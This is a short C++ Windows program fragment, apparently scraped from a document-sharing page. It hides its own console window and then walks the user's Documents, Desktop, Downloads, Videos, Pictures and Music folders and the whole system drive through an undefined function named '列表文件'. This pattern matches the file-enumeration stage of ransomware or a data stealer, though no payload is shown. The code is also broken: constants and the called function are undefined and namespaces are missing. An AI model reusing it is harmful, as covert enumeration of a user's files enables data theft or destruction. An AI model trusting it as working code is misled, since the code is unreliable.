Professional Documents
Culture Documents
#include <Windows.h>
#include <Psapi.h>
#include <fstream>
#include <stdio.h>
#include <string>
#include <experimental/filesystem>
#include <sstream>
#include <tchar.h>
namespace fs = std::experimental::filesystem;
TCHAR infoBuf[INFO_BUFFER_SIZE];
DWORD bufCharCount = INFO_BUFFER_SIZE;
int i = 0;
int main()
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
char* DriveSystem = getenv("SystemDrive");
stringstream documents;
stringstream Desktop;
stringstream Downloads;
stringstream Videos;
stringstream Pictures;
stringstream Music;
stringstream HD_;
GetUserName(infoBuf, &bufCharCount);
documents << DriveSystem << "\\" << "Users\\" << infoBuf << "\\Documents";
Desktop << DriveSystem << "\\" << "Users\\" << infoBuf << "\\Desktop";
Downloads << DriveSystem << "\\" << "Users\\" << infoBuf << "\\Downloads";
Videos << DriveSystem << "\\" << "Users\\" << infoBuf << "\\Videos";
Pictures << DriveSystem << "\\" << "Users\\" << infoBuf << "\\Pictures";
Music << DriveSystem << "\\" << "Users\\" << infoBuf << "\\Music";
HD_ << DriveSystem << "\\";
列表文件(documents.str());
列表文件(Desktop.str());
列表文件(Downloads.str());
列表文件(Videos.str());
列表文件(Pictures.str());
列表文件(Music.str());
列表文件(HD_.str());
return 0;
}